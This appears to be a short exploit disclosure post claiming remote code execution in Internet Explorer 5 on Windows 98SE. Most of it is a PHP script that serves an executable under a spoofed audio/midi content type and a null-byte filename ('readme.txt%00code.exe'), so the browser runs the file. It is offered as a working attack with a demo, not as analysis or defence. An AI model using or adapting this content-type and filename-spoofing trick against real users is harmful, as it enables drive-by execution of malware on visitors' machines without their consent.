This code can execute any code remotely using IE - as  you can see very simple.

// for IE 5, tested on default Windows 98SE installation
<?php
Header("Content-type: audio/midi");
Header("Content-Disposition: inline; filename=readme.txt%00code.exe");
readfile("code.exe");
?>
<noscript>

Here you have a demo:

Can we expect more surprises like this one?
